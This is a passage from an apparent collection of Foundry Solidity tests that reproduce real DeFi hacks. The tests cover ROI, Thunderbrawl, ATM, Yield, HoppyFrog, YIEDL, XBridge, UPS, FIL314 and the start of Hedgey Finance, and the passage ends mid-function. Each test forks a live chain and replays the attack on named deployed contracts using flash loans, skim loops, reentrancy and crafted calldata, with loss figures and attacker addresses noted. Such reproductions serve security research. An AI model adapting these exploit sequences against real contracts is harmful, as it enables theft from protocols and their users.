        path[0] = address(ROI);
        path[2] = address(wbnb); // [ROI, BUSD, WBNB]
        ROI.approve(address(pancakeRouter), type(uint256).max);
        pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            3_986_806_268_542_825, 0, path, address(this), block.timestamp
        ); // Oops, zero ROI balance but the _rOwned[address(this)] has been bypassed
        console.log("----------------------------------------------------");
        emit log_named_decimal_uint("[End] Attacker BNB Balance:", address(this).balance, 18);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        require(keccak256(data) == keccak256("3030"), "Invalid PancakeSwap Callback");
        ROI.transfer(address(busdroiPair), ROI.balanceOf(address(this))); // Notice: 99% taxfee SHOULD be charged from the attacker
    }

    receive() external payable {}
}

/* -------------------- Interface -------------------- */

interface IROIToken {
    function GetBuyBackTimeInterval() external view returns (uint256);
    function GetSwapMinutes() external view returns (uint256);
    function SetBuyBackDivisor(
        uint256 newDivisor
    ) external;
    function SetBuyBackMaxTimeForHistories(
        uint256 newMinutes
    ) external;
    function SetBuyBackRangeRate(
        uint256 newPercent
    ) external;
    function SetBuyBackTimeInterval(
        uint256 newMinutes
    ) external;
    function SetSwapMinutes(
        uint256 newMinutes
    ) external;
    function Sweep() external;
    function Sweep(
        uint256 amount
    ) external;
    function _addressFees(
        address
    )
        external
        view
        returns (
            bool enable,
            uint256 _taxFee,
            uint256 _liquidityFee,
            uint256 _buyTaxFee,
            uint256 _buyLiquidityFee,
            uint256 _sellTaxFee,
            uint256 _sellLiquidityFee
        );
    function _buyBackDivisor() external view returns (uint256);
    function _buyBackMaxTimeForHistories() external view returns (uint256);
    function _buyBackRangeRate() external view returns (uint256);
    function _buyBackTimeInterval() external view returns (uint256);
    function _buyLiquidityFee() external view returns (uint256);
    function _buyTaxFee() external view returns (uint256);
    function _intervalMinutesForSwap() external view returns (uint256);
    function _isAutoBuyBack() external view returns (bool);
    function _isEnabledBuyBackAndBurn() external view returns (bool);
    function _liquidityFee() external view returns (uint256);
    function _maxTxAmount() external view returns (uint256);
    function _sellHistories(
        uint256
    ) external view returns (uint256 time, uint256 bnbAmount);
    function _sellLiquidityFee() external view returns (uint256);
    function _sellTaxFee() external view returns (uint256);
    function _startTimeForSwap() external view returns (uint256);
    function _taxFee() external view returns (uint256);
    function afterPreSale() external;
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(
        address account
    ) external view returns (uint256);
    function buyBackEnabled() external view returns (bool);
    function buyBackSellLimit() external view returns (uint256);
    function buyBackSellLimitAmount() external view returns (uint256);
    function changeRouterVersion(
        address _router
    ) external returns (address _pair);
    function deadAddress() external view returns (address);
    function decimals() external view returns (uint8);
    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
    function deliver(
        uint256 tAmount
    ) external;
    function excludeFromFee(
        address account
    ) external;
    function excludeFromReward(
        address account
    ) external;
    function getTime() external view returns (uint256);
    function getUnlockTime() external view returns (uint256);
    function includeInFee(
        address account
    ) external;
    function includeInReward(
        address account
    ) external;
    function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
    function isExcludedFromFee(
        address account
    ) external view returns (bool);
    function isExcludedFromReward(
        address account
    ) external view returns (bool);
    function lock(
        uint256 time
    ) external;
    function marketingAddress() external view returns (address);
    function marketingDivisor() external view returns (uint256);
    function minimumTokensBeforeSwapAmount() external view returns (uint256);
    function name() external view returns (string memory);
    function owner() external view returns (address);
    function prepareForPreSale() external;
    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256);
    function renounceOwnership() external;
    function setAddressFee(
        address _address,
        bool _enable,
        uint256 _addressTaxFee,
        uint256 _addressLiquidityFee
    ) external;
    function setAutoBuyBackEnabled(
        bool _enabled
    ) external;
    function setBuyAddressFee(
        address _address,
        bool _enable,
        uint256 _addressTaxFee,
        uint256 _addressLiquidityFee
    ) external;
    function setBuyBackEnabled(
        bool _enabled
    ) external;
    function setBuyBackSellLimit(
        uint256 buyBackSellSetLimit
    ) external;
    function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee) external;
    function setLiquidityFeePercent(
        uint256 liquidityFee
    ) external;
    function setMarketingAddress(
        address _marketingAddress
    ) external;
    function setMarketingDivisor(
        uint256 divisor
    ) external;
    function setMaxTxAmount(
        uint256 maxTxAmount
    ) external;
    function setNumTokensSellToAddToBuyBack(
        uint256 _minimumTokensBeforeSwap
    ) external;
    function setSellAddressFee(
        address _address,
        bool _enable,
        uint256 _addressTaxFee,
        uint256 _addressLiquidityFee
    ) external;
    function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee) external;
    function setSwapAndLiquifyEnabled(
        bool _enabled
    ) external;
    function setTaxFeePercent(
        uint256 taxFee
    ) external;
    function swapAndLiquifyEnabled() external view returns (bool);
    function symbol() external view returns (string memory);
    function tokenFromReflection(
        uint256 rAmount
    ) external view returns (uint256);
    function totalFees() external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferForeignToken(address _token, address _to) external returns (bool _sent);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function transferOwnership(
        address newOwner
    ) external;
    function uniswapV2Pair() external view returns (address);
    function uniswapV2Router() external view returns (address);
    function unlock() external;
}

ROI Exploit (2022-09)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

interface HouseWallet {
    function winners(uint256 id, address player) external view returns (uint256);
    function claimReward(
        uint256 _ID,
        address payable _player,
        uint256 _amount,
        bool _rewardStatus,
        uint256 _x,
        string memory name,
        address _add
    ) external;
    function shoot(
        uint256 random,
        uint256 gameId,
        bool feestate,
        uint256 _x,
        string memory name,
        address _add,
        bool nftcheck,
        bool dystopianCheck
    ) external payable;
}

contract ContractTest is Test {
    HouseWallet houseWallet = HouseWallet(0xae191Ca19F0f8E21d754c6CAb99107eD62B6fe53);
    uint256 randomNumber = 12_345_678_000_000_000_000_000_000;

    uint256 gameId = 1;
    bool feestate = false;
    // sha256(abi.encode(_x, name, _add)) == hashValueTwo maybe off-chain calculate
    uint256 _x = 2_845_798_969_920_214_568_462_001_258_446;
    string name = "HATEFUCKINGHACKERSTHEYNEVERCANHACKTHISIHATEPREVIOUS";
    address _add = 0x6Ee709bf229c7C2303128e88225128784c801ce1;

    bool nftcheck = true;
    bool dystopianCheck = true;

    address payable add = payable(address(this));
    bool _rewardStatus = true;
    // sha256(abi.encode(_x, name, _add)) == hashValue  maybe off-chain calculate
    uint256 _x1 = 969_820_990_102_090_205_468_486;
    string name1 = "WELCOMETOTHUNDERBRAWLROULETTENOWYOUWINTHESHOOTINGGAME";

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC721 THBR = IERC721(0x72e901F1bb2BfA2339326DfB90c5cEc911e2ba3C); // Thunderbrawl Roulette Contract

    function setUp() public {
        cheats.createSelectFork("bsc", 21_785_004);
    }

    function testExploit() public {
        emit log_named_uint("Attacker THBR balance before exploit", THBR.balanceOf(address(this)));

        houseWallet.shoot{value: 0.32 ether}(randomNumber, gameId, feestate, _x, name, _add, nftcheck, dystopianCheck);
        uint256 _amount = houseWallet.winners(gameId, add);
        houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add);

        emit log_named_uint("Attacker THBR balance after exploit", THBR.balanceOf(address(this)));
    }

    receive() external payable {}

    function onERC721Received(
        address _operator,
        address _from,
        uint256 _tokenId,
        bytes calldata _data
    ) external payable returns (bytes4) {
        uint256 _amount = houseWallet.winners(gameId, add);
        if (address(houseWallet).balance >= _amount * 2) {
            houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add);
        }
        return this.onERC721Received.selector;
    }
}

THB Exploit (2022-09)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// TX : https://app.blocksec.com/explorer/tx/bsc/0xee10553c26742bec9a4761fd717642d19012bab1704cbced048425070ee21a8a?line=2

// Profit : ~182K USD
// REASON : Business Logic Flaw
// Sandwitch attack,the contract will exchange token -> WBNB & WBNB -> USDT,So use transfer / skim to

contract ContractTest is Test {
    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    Uni_Pair_V3 pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
    Uni_Pair_V2 wbnb_atm = Uni_Pair_V2(0x1F5b26DCC6721c21b9c156Bf6eF68f51c0D075b7);
    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 ATM = IERC20(0xa5957E0E2565dc93880da7be32AbCBdF55788888);
    uint256 constant PRECISION = 10 ** 18;
    address test_contract = address(this);
    address hack_contract;
    uint256 borrow_amount;

    function setUp() external {
        cheats.createSelectFork("bsc", 37_483_300);
        deal(address(USDT), address(this), 0);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", WBNB.balanceOf(address(this)), 18);
        borrow_amount = WBNB.balanceOf(address(pool)) - 1e18;
        pool.flash(address(this), 0, borrow_amount, "");
        emit log_named_decimal_uint("[End] Attacker USDT after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {
        console.log(WBNB.balanceOf(address(this)));
        uint256 i = 0;
        uint256 j = 0;
        swap_token_to_token(address(WBNB), address(USDT), WBNB.balanceOf(address(this)) - 170 ether);
        while (j < 2) {
            swap_token_to_token(address(WBNB), address(ATM), 70 ether);
            while (i < 100) {
                uint256 pair_wbnb = WBNB.balanceOf(address(wbnb_atm));
                ATM.transfer(address(wbnb_atm), ATM.balanceOf(address(this)));
                wbnb_atm.skim(address(this));
                (, uint256 wbnb_r,) = wbnb_atm.getReserves();
                uint256 pair_lost = (pair_wbnb - wbnb_r) / 1e18;
                console.log("Pair lost:", pair_lost);
                if (pair_lost == 7) {
                    break;
                }
                i++;
            }
            j++;
        }
        // To get max profit,not good at math so just copy the exploiter's work
        i = 0;
        while (i < 15) {
            uint256 pair_wbnb = WBNB.balanceOf(address(wbnb_atm));
            ATM.transfer(address(wbnb_atm), ATM.balanceOf(address(this)));
            wbnb_atm.skim(address(this));
            (, uint256 wbnb_r,) = wbnb_atm.getReserves();
            uint256 pair_lost = (pair_wbnb - wbnb_r) / 1e18;
            console.log("Pair lost:", pair_lost, "BNB");
            if (pair_lost == 0) {
                break;
            }
            i++;
        }
        swap_token_to_token(address(ATM), address(WBNB), ATM.balanceOf(address(this)));
        swap_token_to_token(address(USDT), address(WBNB), USDT.balanceOf(address(this)));
        console.log("My wbnb", WBNB.balanceOf(address(this)));
        WBNB.transfer(address(pool), borrow_amount * 10_000 / 9975 + 1000);
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(router), amount);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }
}

ATM Exploit (2024-04)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import "src/test/interface.sol";

// @KeyInfo - Total Lost : 181K
// Attacker : https://arbiscan.io/address/0x1abe06f451e2d569b3e9123baf33b51f68878656
// Attack Contract : https://arbiscan.io/address/0xd775fd7b76424a553e4adce6c2f99be419ce8d41
// Vulnerable Contract : https://arbiscan.io/address/0x3b4ffd93ce5fcf97e61aa8275ec241c76cc01a47
// Attack Tx : https://arbiscan.io/tx/0x6caa65b3fc5c8d4c7104574c3a15cd6208f742f9ada7d81ba027b20473137705

// @Info
// Vulnerable Contract Code : https://arbiscan.io/address/0x3b4ffd93ce5fcf97e61aa8275ec241c76cc01a47#code

// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God : https://medium.com/immunefi/yield-protocol-logic-error-bugfix-review-7b86741e6f50

interface IYieldStrategy is IERC20 {
    function mint(
        address to
    ) external returns (uint256);

    function burn(
        address to
    ) external returns (uint256);

    function mintDivested(
        address to
    ) external returns (uint256);

    function burnDivested(
        address to
    ) external returns (uint256);
}

contract Yield is Test {
    uint256 blocknumToForkFrom = 206_219_811;
    IYieldStrategy YieldStrategy_1 = IYieldStrategy(0x7012aF43F8a3c1141Ee4e955CC568Ad2af59C3fa); // pool token
    IYieldStrategy YieldStrategy_2 = IYieldStrategy(0x3b4FFD93CE5fCf97e61AA8275Ec241C76cC01a47); // strategy token valut
    IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);

    function setUp() public {
        vm.createSelectFork("arbitrum", blocknumToForkFrom);
        vm.label(address(YieldStrategy_1), "YieldStrategy_1");
        vm.label(address(YieldStrategy_2), "YieldStrategy_2");
        vm.label(address(Balancer), "Balancer");
        vm.label(address(USDC), "USDC");
    }

    function testExploit() public {
        // Implement exploit code here
        address[] memory tokens = new address[](1);
        tokens[0] = address(USDC);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 400_000 * 1e6;
        bytes memory userData = "";
        Balancer.flashLoan(address(this), tokens, amounts, userData);

        // Log balances after exploit
        emit log_named_decimal_uint(
            " Attacker USDC Balance After exploit", USDC.balanceOf(address(this)), USDC.decimals()
        );
    }

    function receiveFlashLoan(
        address[] calldata tokens,
        uint256[] calldata amounts,
        uint256[] calldata fees,
        bytes calldata userData
    ) external {
        USDC.transfer(address(YieldStrategy_1), 308_000 * 1e6);
        YieldStrategy_1.mintDivested(address(this)); // mint pool token with USDC

        uint256 transferAmount = YieldStrategy_1.balanceOf(address(this)) / 2;
        YieldStrategy_1.transfer(address(YieldStrategy_2), transferAmount);
        YieldStrategy_2.mint(address(YieldStrategy_2)); // mint strategy token

        YieldStrategy_1.transfer(address(YieldStrategy_2), YieldStrategy_1.balanceOf(address(this))); // donate pool token to strategy token vault
        YieldStrategy_2.burn(address(this)); // burn strategy token to get pool token

        YieldStrategy_2.mint(address(YieldStrategy_2)); // recover donated pool token
        YieldStrategy_2.burn(address(this));

        YieldStrategy_1.transfer(address(YieldStrategy_1), YieldStrategy_1.balanceOf(address(this)));
        YieldStrategy_1.burnDivested(address(this)); // burn pool token to USDC

        USDC.transfer(address(Balancer), amounts[0]);
    }
}

Yield Exploit (2024-04)


pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~0.3 ETH
// TX : https://app.blocksec.com/explorer/tx/eth/0x6fb7f8e9eb09d6ae17dbe82b2b42f46f64fb9c3197438b68ecf03e832d5fc791
// Attacker : https://etherscan.io/address/0x676c3262e8f0fba0031a93ea74ff801b99ac177b
// Attack Contract : https://etherscan.io/address/0xc976ed4b25e1e7019ff34fb54f4e63b1550b70c3
// GUY : https://x.com/ChainAegis/status/1775351437410918420

contract Exploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    Uni_Pair_V3 Pair = Uni_Pair_V3(0xaA6f337f16E6658d9c9599c967D3126051b6c726);
    IERC20 Hoppy = IERC20(0xE5c6F5fEF89B64f36BfcCb063962820136bAc42F);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    function setUp() external {
        cheats.createSelectFork("mainnet", 19_570_744);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker WETH before exploit", WETH.balanceOf(address(this)), 18);
        uint256 amount = Hoppy.balanceOf(address(Pair));
        Pair.flash(address(this), 0, amount, "123");
        emit log_named_decimal_uint("[End] Attacker WETH after exploit", WETH.balanceOf(address(this)), 18);
    }

    function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
        Hoppy.approve(address(Router), type(uint256).max);
        swap_token_to_token(address(Hoppy), address(WETH), 3_071_435_167_652_113_869_853);
        Hoppy.transfer(address(Hoppy), 206_900_000_001_000_000_000);
        swap_token_to_token(address(Hoppy), address(WETH), 4_206_900_000_000_000_000_000);
        swap_token_to_ExactToken(
            7_560_087_519_329_645_008_552, address(WETH), address(Hoppy), 3_907_363_705_363_283_233
        );
        Hoppy.transfer(address(msg.sender), 7_560_087_519_329_645_008_552);
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(Router), amount);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }

    function swap_token_to_ExactToken(uint256 amountout, address a, address b, uint256 amountInMax) public payable {
        IERC20(a).approve(address(Router), amountInMax);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        Router.swapTokensForExactTokens(amountout, amountInMax, path, address(this), block.timestamp + 120);
    }
}

HoppyFrogERC Exploit (2024-04)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @Analysis
// https://twitter.com/Phalcon_xyz/status/1782966566042181957
// @TX
// https://app.blocksec.com/explorer/tx/bsc/0x49ca5e188c538b4f2efb45552f13309cc0dd1f3592eee54decfc9da54620c2ec

interface ISportVault {
    function redeem(
        uint256 sharesToRedeem,
        address receivingAsset,
        uint256 minTokensToReceive,
        bytes[] calldata dataList,
        bool useDiscount
    ) external returns (uint256 tokensToReturn);
}

contract ContractTest is Test {
    IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
    IERC20 BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);
    IERC20 BETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    ISportVault sportVault = ISportVault(0x4eDda16AB4f4cc46b160aBC42763BA63885862a4);

    address Attacker = address(0x1111111111111111111111111111111111111111);

    function setUp() public {
        vm.createSelectFork("bsc", 38_126_753);
    }

    function testExploit() public {
        bytes[] memory dataList = new bytes[](11); //@note mock data list - unoswapTo
        uint256[] memory pools = new uint256[](1);
        pools[0] = uint256(
            28_948_022_309_329_048_857_350_594_136_651_893_637_891_169_795_467_361_725_136_627_244_723_734_772_827
        );
        dataList[0] = abi.encodeWithSignature(
            "unoswapTo(address,address,uint256,uint256,uint256[])",
            Attacker,
            address(USDC),
            2_331_516_232_778_274_153_239,
            0,
            pools
        );

        pools[0] = uint256(
            28_948_022_309_329_048_857_350_594_135_968_575_911_172_281_388_296_638_049_447_197_314_275_709_206_658
        );
        dataList[1] = abi.encodeWithSignature(
            "unoswapTo(address,address,uint256,uint256,uint256[])",
            Attacker,
            address(BTCB),
            16_071_737_934_381_556,
            0,
            pools
        );

        pools[0] = uint256(
            28_948_022_309_329_048_857_350_594_136_076_890_004_755_093_450_729_657_598_371_073_172_666_212_569_020
        );
        dataList[2] = abi.encodeWithSignature(
            "unoswapTo(address,address,uint256,uint256,uint256[])",
            Attacker,
            address(BETH),
            256_895_663_903_293_078,
            0,
            pools
        );

        dataList[3] = new bytes(0);
        dataList[4] = new bytes(0);
        dataList[5] = new bytes(0);
        dataList[6] = new bytes(0);
        dataList[7] = new bytes(0);
        dataList[8] = new bytes(0);
        dataList[9] = new bytes(0);
        dataList[10] = new bytes(0);

        console2.log("Attacker BNB balance before: ", Attacker.balance);

        for (uint256 i = 0; i < 20; i++) {
            USDC.balanceOf(address(sportVault));
            BTCB.balanceOf(address(sportVault));
            BETH.balanceOf(address(sportVault));
            BUSD.balanceOf(address(sportVault));

            sportVault.redeem(0, address(BUSD), 0, dataList, false);
        }

        console2.log("Attacker BNB balance after: ", Attacker.balance);
    }
}

YIEDL Exploit (2024-04)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~$1.6M(https://debank.com/profile/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7, >200k USD(plus a lot of STC, SRLTY, Mazi tokens))
// Attacker : https://etherscan.io/address/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7
// Vulnerable Contract : https://etherscan.io/address/0x354cca2f55dde182d36fe34d673430e226a3cb8c#code
// Attack Tx Step1(deposit) : https://etherscan.io/tx/0xe09d350d8574ac1728ab5797e3aa46841f6c97239940db010943f23ad4acf7ae
// Attack Tx Step2(withdrawToken): https://etherscan.io/tx/0x903d88a92cbc0165a7f662305ac1bff97430dbcccaa0fe71e101e18aa9109c92

// @Analysis
// https://twitter.com/CyversAlerts/status/1783045506471432610

interface IXbridge {
    struct tokenInfo {
        address token;
        uint256 chain;
    }

    function listToken(
        tokenInfo memory baseToken,
        tokenInfo memory correspondingToken,
        bool _isMintable
    ) external payable;
    function withdrawTokens(address token, address receiver, uint256 amount) external;
}

contract ContractTest is Test {
    IERC20 STC = IERC20(0x19Ae49B9F38dD836317363839A5f6bfBFA7e319A);
    IXbridge xbridge = IXbridge(0x47Ddb6A433B76117a98FBeAb5320D8b67D468e31);

    function setUp() public {
        vm.createSelectFork("mainnet", 19_723_701 - 1);
    }

    function testExploit() public {
        // First TX
        deal(address(this), 0.15 ether);
        emit log_named_decimal_uint("Exploiter STC balance before attack", STC.balanceOf(address(this)), 9);

        IXbridge.tokenInfo memory base = IXbridge.tokenInfo(address(STC), 85_936);
        IXbridge.tokenInfo memory corr = IXbridge.tokenInfo(address(STC), 95_838);

        xbridge.listToken{value: 0.15 ether}(base, corr, false);

        xbridge.withdrawTokens(address(STC), address(this), STC.balanceOf(address(xbridge)));

        emit log_named_decimal_uint("Exploiter STC balance after attack", STC.balanceOf(address(this)), 9);
    }

    receive() external payable {}
}

XBridge Exploit (2024-04)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// TX : https://app.blocksec.com/explorer/tx/bsc/0xd03702e17171a32464ce748b8797008d59e2dbcecd3b3847d5138414566c886d

// Profit : ~ 28K USD
// REASON : business logic flaw XD transfer to pair won't lead to pair's amount change

contract ContractTest is Test {
    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 UPS = IERC20(0x3dA4828640aD831F3301A4597821Cc3461B06678);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    Uni_Pair_V3 pool = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);
    Uni_Pair_V2 ups_usdt = Uni_Pair_V2(0xA2633ca9Eb7465E7dB54be30f62F577f039a2984);
    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    uint256 borrow_amount;

    function setUp() external {
        cheats.createSelectFork("bsc", 37_680_754);
        deal(address(USDT), address(this), 0);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
        borrow_amount = 3_500_000 ether;
        pool.flash(address(this), borrow_amount, 0, "");
        emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, /*fee1*/ bytes memory /*data*/ ) public {
        USDT.transfer(address(ups_usdt), 2_000_000 ether);
        ups_usdt.sync();
        swap_token_to_token(address(USDT), address(UPS), 1_000_000 ether);
        uint256 i = 0;
        uint256 pair_balance = 0;
        uint256 here_balance = 0;
        uint256 transfer_amount = 0;
        while (i < 10) {
            pair_balance = UPS.balanceOf(address(ups_usdt));
            here_balance = UPS.balanceOf(address(address(this)));
            console.log(">>>>", here_balance, pair_balance, "<<<<");
            if (here_balance > pair_balance) {
                transfer_amount = pair_balance;
            } else {
                transfer_amount = here_balance;
            }
            UPS.transfer(address(ups_usdt), transfer_amount);
            ups_usdt.skim(address(this));
            i++;
        }
        i = 0;
        while (i < 3) {
            transfer_amount = UPS.balanceOf(address(ups_usdt));
            UPS.transfer(address(ups_usdt), transfer_amount);
            (uint256 r0, uint256 r1,) = ups_usdt.getReserves();
            uint256 amountOut = router.getAmountOut(transfer_amount - r0, r0, r1);
            ups_usdt.swap(0, amountOut, address(this), "");
            i++;
        }
        USDT.transfer(address(pool), borrow_amount + fee0);
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(router), amount);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }
}

UPS Exploit (2024-04)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~14 BNB
// Attacker : https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c
// Attack Contract : https://bscscan.com/address/0xde521fbbbb0dbcfa57325a9896c34941f23e96a0
// Vulnerable Contract : https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af
// Attack Tx : https://bscscan.com/tx/0x9f2eb13417190e5139d57821422fc99bced025f24452a8b31f7d68133c9b0a6c

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af#code

interface IFIL314 {
    function getAmountOut(uint256 value, bool buy) external returns (uint256);
    function hourBurn() external;
    function transfer(address to, uint256 value) external returns (bool);
    function balanceOf(
        address account
    ) external view returns (uint256);
}

contract FIL314 is Test {
    uint256 blocknumToForkFrom = 37_795_991;
    IFIL314 FIL314 = IFIL314(0xE8A290c6Fc6Fa6C0b79C9cfaE1878d195aeb59aF);

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
    }

    function testExploit() public {
        // Implement exploit code here
        emit log_named_decimal_uint(" Attacker BNB Balance Before exploit", address(this).balance, 18);
        // buy FIL314 token
        address(FIL314).call{value: 0.05 ether}("");
        // deflate the token
        for (uint256 i = 0; i < 6000; i++) {
            FIL314.hourBurn();
        }
        for (uint256 i = 0; i < 10; i++) {
            uint256 amount = FIL314.getAmountOut(address(FIL314).balance, true);
            // sell the token
            FIL314.transfer(address(FIL314), amount);
        }

        // Log balances after exploit
        emit log_named_decimal_uint(" Attacker BNB Balance After exploit", address(this).balance, 18);
    }

    fallback() external payable {}
}

FIL314 Exploit (2024-04)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 48M USD
// Attacker : https://etherscan.io/address/0xDed2b1a426E1b7d415A40Bcad44e98F47181dda2
// Attack Contract : https://etherscan.io/address/0xC793113F1548B97E37c409f39244EE44241bF2b3
// Vulnerable Contract : https://etherscan.io/address/0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511
// Attack Tx : https://etherscan.io/tx/0x2606d459a50ca4920722a111745c2eeced1d8a01ff25ee762e22d5d4b1595739

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511#code

// @Analysis
// Post-mortem : https://medium.com/@CUBE3AI/hedgey-finance-hack-detected-by-cube3-ai-minutes-before-exploit-1f500e7052d4
// Twitter Guy : https://twitter.com/Cube3AI/status/1781294512716820918
// Hacking God :

enum TokenLockup {
    Unlocked,
    Locked,
    Vesting
}

struct Campaign {
    address manager;
    address token;
    uint256 amount;
    uint256 end;
    TokenLockup tokenLockup;
    bytes32 root;
}

struct Donation {
    address tokenLocker;
    uint256 amount;
    uint256 rate;
    uint256 start;
    uint256 cliff;
    uint256 period;
}

struct ClaimLockup {
    address tokenLocker;
    uint256 start;
    uint256 cliff;
    uint256 period;
    uint256 periods;
}

interface IClaimCampaigns {
    function createLockedCampaign(
        bytes16 id,
        Campaign memory campaign,
        ClaimLockup memory claimLockup,
        Donation memory donation
    ) external;

    function cancelCampaign(
        bytes16 campaignId
    ) external;
}

contract HedgeyFinance is Test {
    uint256 blocknumToForkFrom = 19_687_890 - 1;

    IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

    // HedgeyFinance
    IClaimCampaigns private constant HedgeyFinance = IClaimCampaigns(0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511);

    // Stolen money 1.305.000 USD
    uint256 loan = 1_305_000 * 1e6;

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);

        vm.label(address(USDC), "USDC");
        vm.label(address(BalancerVault), "BalancerVault");
    }

    function testExploit() public {
        deal(address(this), 0 ether);
        emit log_named_decimal_uint("Attacker USDC balance before exploit", address(this).balance, 18);

        address[] memory tokens = new address[](1);
        tokens[0] = address(USDC);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = loan;

